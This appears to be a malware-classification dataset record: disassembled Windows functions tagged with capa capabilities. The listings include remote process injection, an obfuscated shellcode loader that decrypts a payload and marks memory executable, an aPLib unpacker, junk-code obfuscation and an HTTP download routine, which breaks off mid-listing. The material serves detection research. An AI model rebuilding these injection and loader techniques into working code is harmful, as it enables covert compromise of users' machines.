joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400016ab
Capabilities:
Create thread

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov r9d, 0x1000
mov edi, r8d
mov rbx, rcx
mov rbp, rdx
mov dword [rsp + 0x20], 0x20
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rdi
mov r8, rbp
mov rcx, rbx
mov rsi, rax
xor eax, eax
mov rdx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov qword [rsp + 0x30], rdx
mov r9, rsi
xor edx, edx
mov dword [rsp + 0x28], ecx
mov rcx, rbx
mov qword [rsp + 0x20], r8
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, rax
or eax, 0xffffffff
test rcx, rcx
je 0x14000172f
mov edx, 0x1f4
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140001a50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140001ac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400460c4]
mov rbx, rcx
test esi, esi
jle 0x140001bf0
mov rax, qword [0x1400460c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001b0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001af0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001c12
mov rax, qword [0x1400460c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400460c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bf7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001b8e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001ba0
add dword [0x1400460c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400460c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001b18
mov rax, qword [0x1400460c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002180
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140046120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140046100]
test rbx, rbx
je 0x1400021dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400021d3
test rsi, rsi
je 0x1400021d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400023f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002408
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002410
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002420
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000246d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002464
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000246f
add rax, 0x28
cmp rax, r9
jne 0x140002450
xor eax, eax
ret

Function at 0x140002470
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002500
mov rdx, qword [0x1400433f0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400024ee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400024ee
cmp word [rax + 0x18], 0x20b
jne 0x1400024ee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002500
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400024d9
add rbx, 0x28
cmp rbx, rdi
je 0x140002500
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400024d0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002510
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400433f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002530
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002538
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002530
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000258d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002584
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002530
add rax, 0x28
cmp rax, r9
jne 0x140002570
xor eax, eax
ret

Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400433f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400025af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400025b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400025d0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400433f0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400025f0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400025f8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400025f0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002640
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002637
test rcx, rcx
je 0x1400025f0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002628
xor eax, eax
ret
Function at 0x140002650
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400433f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000266f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002678
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002690
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400433f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400026b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400026b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026b0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400026b0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002704
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002710
add rdx, 0x28
cmp r9, rdx
jne 0x1400026f0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002720
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400433f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002742
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002750
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002742
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002742
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002742
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400027a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400027b8
add rdx, 0x28
cmp rdx, r10
jne 0x140002790
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400027ae
test ecx, ecx
jg 0x1400027c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140002a30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0xa0
lea rbx, [0x1400421f0]
call dbg.__main
xor r9d, r9d
movabs rdx, 0xab1216e3b5a169ac
movabs rax, 0x2bdb2f3cf5cbb32f
mov dword [rsp + 0x3c], r9d
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov r9d, 0x10
mov edx, 0xc
mov rcx, rbx
lea r8, str.auPJJdIKrgDUaEm
call sym.goZBroOaQSHM_char__unsigned_long_long__char__unsigned_long_long_
movss xmm0, dword [0x140043034]
call sym.SleepShort_float_
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, rbx
lea rbx, section..data
mov rcx, rax
mov rsi, rbx
call sym.myGetProcAddress_HINSTANCE____char_const_
movss xmm0, dword [0x140043038]
mov qword [0x140046030], rax
call sym.SleepShort_float_
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
mov edx, 0x3f1e0
call qword [0x140046030]
movss xmm0, dword [0x14004303c]
mov qword [rsp + 0x40], rax
call sym.SleepShort_float_
mov r9d, 0x10
lea r8, [rsp + 0x60]
mov rcx, rbx
mov edx, 0x3f1e0
call sym.aLTWJfwgsIITMcXgXdfrZ_char__unsigned_int__char__unsigned_long_long_
mov rdi, qword [rsp + 0x40]
mov ecx, 0xfc78
rep movsd dword [rdi], dword [rsi]
lea rsi, [0x1400421e0]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov r9d, 0x20
mov rcx, rax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
call sym.NtProtectVirtualMemory
movss xmm0, dword [0x140043040]
call sym.SleepShort_float_
mov rcx, rsi
mov r9d, 0x10
lea r8, str.auPJJdIKrgDUaEm
mov edx, 0xb
call sym.goZBroOaQSHM_char__unsigned_long_long__char__unsigned_long_long_
mov rcx, rsi
call sym.bJSDjBheXQvKzuwpeCq_char_const_
test eax, eax
je 0x140002bf9
xor r8d, r8d
xor edx, edx
xor ecx, ecx
cdqe
mov qword [rsp + 0x50], rax
lea r9, [rsp + 0x50]
xor eax, eax
mov qword [rsp + 0x78], rdx
mov edx, 0x1fffff
mov dword [rsp + 0x88], ecx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x98], r8
lea r8, [rsp + 0x70]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x70], 0x30
call sym.NtOpenProcess
test eax, eax
js 0x140002bf9
mov rcx, qword [rsp + 0x48]
mov r8d, 0x3f1e0
mov rdx, rbx
call sym.cDHOHpNHTor_void__unsigned_char__unsigned_int_
mov rcx, qword [rsp + 0x48]
call sym.NtClose
xor eax, eax
add rsp, 0xa0
pop rbx
pop rsi
pop rdi
ret
Function at 0x2fc4c6570
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4c6f72
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4e9108]
test eax, eax
je 0x2fc4c700a
lea rax, [0x2fc4e90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4e9110]
mov qword [rbp - 8], rax
jmp 0x2fc4c6fee
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4c6fe2
cmp qword [rbp - 0x10], 0
je 0x2fc4c6fe2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4c6fa8
lea rax, [0x2fc4e90e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4c700b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4c7110
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4c7138
mov eax, 0
jmp 0x2fc4c7186
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4c7161
mov eax, 0
jmp 0x2fc4c7186
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4c7181
mov eax, 0
jmp 0x2fc4c7186
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4c718c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4c720a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4c7201
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4c7201
mov rax, qword [rbp - 8]
jmp 0x2fc4c721f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4c71d4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140a56058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140a561df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a56089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a5606f
add dl, dl
jne 0x140a56096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a560f6
xor eax, eax
add dl, dl
jne 0x140a560a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a561ad
add dl, dl
jne 0x140a560b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a560c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a560d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a560dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a560ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a5607e
mov eax, 1
add dl, dl
jne 0x140a56106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a56113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a560fb
sub eax, ebx
mov ebx, 1
jne 0x140a5614c
mov ecx, 1
add dl, dl
jne 0x140a5612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a5613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a56123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a5607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a56168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a56175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a5615d
cmp eax, 0x7d00
jae 0x140a5619b
cmp eax, 0x500
jb 0x140a56196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a5607e
cmp eax, 0x7f
ja 0x140a5619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a5607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a561d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a5607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180006cd0
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x10], 0
mov qword [rsp + 0x18], 0
mov qword [rsp + 8], 0
mov qword [rsp], 0
mov qword [rsp + 0x20], 0
mov rax, qword gs:[0x60]
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x238]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x180006d7d
mov rax, qword [rsp]
cmp dword [rax + 0x3c], 0
jle 0x180006d7d
mov rax, qword [rsp]
cmp dword [rax + 0x3c], 0x190
jge 0x180006d7d
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
jne 0x180006d7d
jmp 0x180006d8c
mov rax, qword [rsp + 8]
dec rax
mov qword [rsp + 8], rax
jmp 0x180006d29
mov rax, qword [rsp + 8]
add rsp, 0x38
ret

Function at 0x180006da0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov dword [rsp], 0
mov dword [rsp + 8], 0
mov dword [rsp], 0xffffffff
jnp 0x180006df4
push rsi
push rsp
push rdi
nop
pop rdi
pop rsp
pop rsi
jp 0x180006df4
insb byte [rdi], dx
mov ebx, 0x526c6c29
and rsp, r9
nop
and esp, dword [rbx]
test byte [r9 - 0x42], cl
and ebp, ecx
int1
mov esi, 0x2923bb23
and ecx, dword [rcx - 0x7c]
movabs r14, 0x2923bb23bef1e923
int1
mov ebx, 0x29f1e1bb
jmp 0x180006dde
mov dword [rsp + 4], 0
jmp 0x180006e08
mov eax, dword [rsp + 4]
inc eax
mov dword [rsp + 4], eax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 4], eax
jae 0x180006ed3
jl 0x180006e42
push rdi
push rbx
push rbx
push rsi
pop rsi
pop rbx
pop rbx
pop rdi
jge 0x180006e42
test cl, dh
int1
and esi, ecx
insb byte [rdi], dx
movabs r11, 0x49be29d6f18484bb
nop
nop
test byte [rcx + rsi*8 - 0xe0eb645], al
and esp, ecx
int1
mov esi, 0x8be9bbae
and al, 4
mov eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
movzx eax, byte [rcx + rax]
mov ecx, dword [rsp]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov dword [rsp + 8], eax
jns 0x180006e8b
nop
js 0x180006e8b
jmp 0x13e52c13f
test cl, dh
int1
and esi, ecx
jmp 0x1616d2a62
mov eax, dword [rsp]
shr eax, 8
mov ecx, dword [rsp + 8]
lea rdx, [0x180019160]
xor eax, dword [rdx + rcx*4]
mov dword [rsp], eax
jg 0x180006ece
push rdi
push rax
push rbp
pop rbp
pop rax
pop rdi
jle 0x180006ece
mov ebx, 0xe990bebe
and ebp, dword [rbx + rdi*4 - 0x52]
scasb al, byte [rdi]
mov esi, 0xebf1f1eb
nop
int1
int1
test byte [rcx + rsi*8 + 0x23], ch
int1
sub ecx, esp
int1
jmp 0x16924505c
jmp 0x180006dfe
invalid
jp 0x180006eff
push rsi
nop
pop rsi
jnp 0x180006eff
push rdx
loope 0x180006e6d
jmp 0x180006ed0
mov eax, dword [rsp]
xor eax, 0xffffffff
mov dword [rsp], eax
jno 0x180006f34
push rbp
push rbx
push rbx
push rbx
pop rbx
pop rbx
pop rbx
pop rbp
jo 0x180006f34
scasb al, byte [rdi]
insb byte [rdi], dx
scasb al, byte [rdi]
jmp 0x156af5065
mov rax, qword [rsp + 0x30]
mov ecx, dword [rsp]
mov dword [rax], ecx
xor eax, eax
add rsp, 0x18
ret
Function at 0x18000c7a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
xor r8d, r8d
xor edx, edx
mov ecx, 0x108
call fcn.180005d10
mov rax, qword [0x18001d008]
mov qword [rsp + 0x30], rax
jb 0x18000c818
push rdi
push rax
push rbp
push rdx
pop rdx
pop rbp
pop rax
pop rdi
jae 0x18000c818
jmp 0x156f23481
mov rax, qword [rsp + 0x30]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x18000c82e
xor eax, eax
jmp 0x18000c985
shr cl, 0x57
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x30
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
jge 0x18000c873
nop
jl 0x18000c873
int1
test dh, dl
push rdx
jmp 0x18000c828
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x18000c887
xor eax, eax
jmp 0x18000c985
mov dword [rsp + 0x20], 0
jmp 0x18000c89b
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x18000c948
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax + 0x18]
mov ecx, dword [rsp + 0x20]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rsp + 0x38], rax
js 0x18000c8fd
push rsi
push rdi
push rdi
nop
pop rdi
pop rdi
pop rsi
jns 0x18000c8fd
int1
scasb al, byte [rdi]
int1
and ebp, dword [rsi - 0x6fd64152]
and eax, dword [rsi + rdi*4 + 0x6c49f16c]
jmp 0x16b6db43a
mov rax, qword [rsp + 0x38]
cmp dword [rax + 0x24], 0xe0000020
jne 0x18000c943
add byte [rax], al
loopne 0x18000c97f
cmp byte [rdx + 0x2a], bh
jp 0x18000c937
push rsi
push rdx
push rsi
push rdi
pop rdi
pop rsi
pop rdx
pop rsi
jnp 0x18000c937
nop
test byte [rcx], ch
int1
jmp 0x18000c906
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
jmp 0x18000c948
jmp 0x18000c891
cmp qword [rsp + 0x40], 0
jne 0x18000c954
xor eax, eax
jmp 0x18000c985
mov r8d, 1
xor edx, edx
mov ecx, 0x108
call fcn.180005d10
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0xc]
mov rcx, qword [0x18001d008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
add rsp, 0x58
ret
Function at 0x140001480
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x60
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov rbx, rdx
mov rdi, rcx
xor esi, esi
mov dword [rax + 0x20], esi
mov qword [rcx], rsi
mov qword [rcx + 8], rsi
mov qword [rcx + 0x10], rsi
mov dword [rax + 0x20], 1
mov dword [rax - 0x68], esi
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 1]
lea rcx, str.momo
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
je 0x1400015a5
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
